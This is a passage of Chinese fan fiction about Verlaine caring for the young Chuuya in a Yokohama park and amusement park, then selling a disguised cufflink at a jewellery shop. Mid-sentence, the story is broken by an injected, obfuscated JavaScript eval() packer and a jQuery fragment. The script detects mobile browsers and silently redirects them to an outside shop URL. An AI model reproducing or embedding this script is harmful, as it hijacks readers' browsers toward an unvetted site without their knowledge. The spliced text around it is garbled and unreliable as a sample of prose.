与刚才感受到的情绪相比,魏尔伦的心情平静得不可思议,心中的烦闷仿佛被一阵风轻飘飘地吹走了,化为即将消失在视野的流云。
魏尔伦的眉眼柔和下来,心也软得一塌糊涂:
“这个世界很好,我不恨它们,中也。”
“那就太好了!”
中也察觉到魏尔伦开心了,自己也放下了心,手中捏着花,想了想,踮起脚,认真地把手中的花插在魏尔伦的辫子上。
魏尔伦配合着中也的动作,等到中也插完花后,不由得失笑:
“这样好看吗?”
“好看!特别好看!”
中也点头,脸上也有了明媚笑容,转头,又摘了一些不同颜色的花跑回来,插在魏尔伦的头发上,
跪坐在长椅上,还因为花朵的颜色和顺序挑挑拣拣,反复选择,纠结得眉毛紧皱,整个人都要趴在魏尔伦脑袋上了。
魏尔伦微微偏着头,扶着中也有些不稳的身体,为了配合中也的调皮,还特意取下帽子,脸上是无意识浮现的,最真实的浅笑。
他很满意现在的平静生活,无论他的过去如何,过去的自己又有什么想法,他都已经忘记了,也不想主动找回,
至于未来的事情,自然有未来的他烦心。
·
魏尔伦没想到,他的烦心事很快就来了。
在公园坐了一会儿,中也也玩累了,脑袋枕在魏尔伦膝头,躺在椅子上休息,小手却没有闲着,一个个指着周围的物品,脆声道:
“天空是蓝色的,云朵是白色的,树叶是绿色的,花朵是白色、红色、蓝色……”
说到这里,中也愣了一下,困惑道:
“哥哥,花朵为什么会有这么多的颜色呀?”
魏尔伦被突然一问,一时也怔住了,从大脑搜寻答案无果后,迟疑道:
“可能花朵也和人一样,每一个人都长得不一样,所以,花朵的颜色也会不一样。”
“可是,”
中也坐了起来,指着树下顽强生长的野花,道:
“那一片的花都是白色的,长得一模一样。”
魏尔伦看向那片花,沉吟片刻,肯定道:
“因为它们是兄弟姐妹,所以才会长得一模一样。”
“原来如此,”
中也恍然大悟地点头。
魏尔伦松了一口气,松到一半,才发现自己松早了。
“哥哥,为什么我们没有长得一模一样?”
中也询问,站在魏尔伦面前,仔细看了看,举例道:
“哥哥,你看,你的头发是金色的,我的头发是橘色的,你站起来会有那么高,我却只有这么高,还有……手也不一样!你的手大大的,我的手却小小的,哥哥,我们真的是兄弟吗?”
“我们当然是兄弟,”
魏尔伦吃了一惊,慌忙解释道:
“中也,你仔细看看,我们的瞳孔颜色一模一样,这就可以证明我们是亲兄弟。”
中也瘪了瘪嘴:
“可是,哥哥,那些不是兄弟姐妹的花都有相同颜色的绿叶子。”
“不仅如此,我们还有其他的相似之处,”
魏尔伦第一次感到搬起石头砸自己的脚的滋味,绞尽脑汁,找了半天,都没能从中也瘦巴巴的小脸上找到相似之处,眼见中也脸上的沮丧之色越来越多,只能坦白道:
“躯体的外表不算什么,灵魂才是独一无二,能证明彼此的存在。中也,你仔细感受一下,你的体内有一扇和我相似的门,我就是认出了门,才认出了你。”
“啊?”
中也懵了,看了看自己的双手,又摸了摸肚子:
“我的肚子里有一扇门?哥哥,我什么时候吃下去的?”
中也恍然大悟:
他见过家的大门,很大的一个,比两个他都宽,比一个哥哥都高,难怪他有时候会感觉肚子不舒服,原来他的肚子里还有一扇大门呢。
“不是在肚子里,是在这里。”
魏尔伦轻轻抚上中也的额头,温柔道:
“我能触碰到你的门,也能感受到从里面传出的力量,中也,这是我们之间的秘密,记得不要告诉其他人。”
物以稀为贵,
除了中也,魏尔伦没有从第三个人身上感受到门,又发现门后生物是重力的力量核心,自然得出了一个结论:
他们的门是一个好东西!
万一被其他人知道,那群人起了贪欲,想办法把门移到了自己脑袋里,夺走他们的好用能力了怎么办?
魏尔伦对此有预感:
对他们来说,门很重要,失去门的后果会很糟糕。
魏尔伦不害怕其他人的算计,但他担心那群贪婪的人会为了这份力量,想办法算计、伤害他的弟弟。
中也摸了摸额头,又点了点头,注意力全被这个信息吸引住了,满脸新奇,又带了一丝不明所以的震惊与恍惚:
他好厉害啊,竟然能把门装到脑袋里!
见中也不再提出疑问,魏尔伦真正松了一口气,站起身,转移话题道:
“中也,我们去其他地方转转吧。”
中也慢了半拍地“嗯”了一声,拉着魏尔伦的手,离开公园。
一路上,走走停停,通过聚在一起聊天、抱怨的普通人,魏尔伦得到了几个小道消息,还成功地知道了最受小孩子喜欢的地方——游乐场。
魏尔伦高兴地带着中也前往游乐场。
游乐场里的人不算太多,但个个衣装整洁,表情安宁,身边跟着一两个保镖之类的人,即使看到了魏尔伦,也只是稍微吃了一惊,随后就是视若无睹。
而他们的身高终于让魏尔伦的帽子有了用武之地,遮挡住欧洲人的容貌,让自己低调一点。
中也来到游乐场,第一眼就看中了游乐场内最大最豪华的充气城堡。
而充气城堡的入场票也对得起规格,儿童票一千五百日元,可以玩一个小时,如果再加五百日元,可以让大人进去陪同。
不愧是他的弟弟,第一眼就能看中最好的!
魏尔伦骄傲地想,爽快地给中也买了一张入场票,然后,坐在外面,对着空荡荡的钱包发呆:
糟糕,早上离开的时候,忘记问兰堂要钱了。
魏尔伦转念一想,又挥散了这点遗憾,
算了,兰堂实在太吝啬了,问他要点小钱说不定还要吵一架,到时候,钱到手了,好心情也没了,一点都不划算。
他的能力很强,有这个精力,他还不如随便暗杀一个人,取得足够的金钱,摆脱现在的困境。
魏尔伦单手撑着下巴,目光漫不经心地在游乐场内游荡,正准备随便挑选一个幸运目标,耳边却仿佛突然响起了兰堂的声音:
“不可以杀人和打劫。”
魏尔伦的思绪顿住了,眉头往中间聚拢了一下,又很快松开,睫毛垂下,面无表情地想:
兰堂也失忆了,生活经验不比他多,他凭什么听兰堂的?
或者是,他为什么要听兰堂的?听兰堂的话,让他们过吃了上顿没下顿的生活吗?
兰堂虽然谨慎,但想得太简单了,
在横滨转了几个小时,他发现只有人多的大街上勉强维持着和平的表象,在太阳没有照到的地方,响起的却是枪声与求饶声。
横滨又不是安全和纪律分明的地方,军警也是一群可以贿赂的酒囊饭桶,死一个人算不了什么,
他不杀人,也会被另一个人当成目标,所以,他为什么不先下手为强?
“不得不去做和主动做是有区别的。”
都是杀人,又有什么区别?
魏尔伦皱紧眉,烦心不已,想站起身,寻找暗杀目标,躯体却被话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645101|142943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
语束缚了一样,一动不动地坐在原地。
魏尔伦深吸一口气,缓缓吐出,想把烦心事一起吐出,想了片刻,从衣服上找出一对袖扣,
袖扣中心镶嵌着椭圆形的暗蓝色宝石,银色的金属被雕琢出复杂细密的花纹,低调却又暗藏奢华。
魏尔伦拿起一颗袖扣,握在手中,再张开时,微不可见的粉末从指缝流出,袖扣也变了模样。
原本圆润的宝石表面多出了菱形的切割面,不再低调,金属上的花纹被抹除,成为朴素的平面,无法再与原样扯上关系。
魏尔伦如法炮制地改造了另一个袖扣,用重力波检查了一遍,确定没有了可以证明身份的痕迹后,站起身,来到城堡边,对中也招了招手。
中也跌跌撞撞地跑过来,趴在软绵绵的充气墙壁上,灿烂地对魏尔伦笑:
“哥哥!”
“中也,”
魏尔伦碰了碰中也因为运动红扑扑的小脸,叮嘱道:
“我有件急事,需要离开片刻,在我来之前,你不要听任何人的话,也不要跟着任何人走,知道吗?”
中也歪头,往后看了看,点头:
“我会在这里一直等着哥哥的!”
“那就好,去玩吧,等我回来后,会给你带好吃的。”
魏尔伦的目光柔和下来,不舍地抚了抚中也的头发,转身离开。
在横滨,游乐场或许也是普通人无法接触的奢侈品,魏尔伦刚到游乐场大门,就能看到不远处的一家宝石店。
老板打扮的中年男人站在柜台后,正在用软布擦柜台的宝石,还有三个年纪更轻一点的店员正在打扫卫生。
注意到魏尔伦进门后,老板脸上立即带了三分热情的笑,微微鞠躬:
“欢迎光临,这位先生,不知道您想要买点什么?”
老板的目光扫过魏尔伦身上的布料,大致估量了一遍魏尔伦的财力,脸上的笑容更热情了:
“我们这里有各种宝石制品,戒指,吊坠,耳钉,绝对包您满意。”
魏尔伦懒得和对方寒暄,径直把袖扣拿出来让老板看两眼,问道:
“这里回收吗?”
老板脸上的笑容顿时冷淡了下来,弯起的腰背挺直了,目光再次看向魏尔伦时,就多了一分轻视,微笑道:
“当然,只是,回收之前,我需要先辨别宝石的真假。”
魏尔伦不置可否,放下一枚袖扣。
老板拿起袖扣,用放大镜对着光源细细地观察片刻,
宝石虽然浪费地被制作为袖扣,但本体的克重并不小,内部没有其他内含物,颜色更是难得的珍品。
虽然装饰的工艺较为简陋,但上面闪闪发光的天然宝石足以填补这个小小的缺陷。
老板放下放大镜,不由得见猎心喜,越看越喜欢,慢吞吞地用细布擦袖扣,暗自在心底感叹面前小子的好运。
是的,小子。
通过自己的人生经验与见过的欧洲人,老板已经发现了魏尔伦的年龄还不满二十岁,以日本的法律来讲,还没有成年。
一个乳臭未干,来闯荡横滨,落得不得不来到宝石店变卖家当的小鬼,
若不是他经营的宝石店客户群体都是光明面,表面合法合规,
他也不屑于为了一点微末小利向顾客下手,损失信誉,
恐怕在他见猎心喜的时候,就不会想着和魏尔伦和平沟通了。
这样想着,老板面上又多了几分优越:
“请问,先生,你能提供袖扣的购买记录与鉴定证书吗?”
魏尔伦奇怪地看着老板变来变去的脸,怀疑老板有脸上肌肉不受控制的小毛病,皱了皱眉,就想速战速决:
“不能。”
这对袖扣从他醒来时就在他的衣服上挂着,刚才更是做过改造,别说鉴定证书了,连制作人亲自来了都认不出来。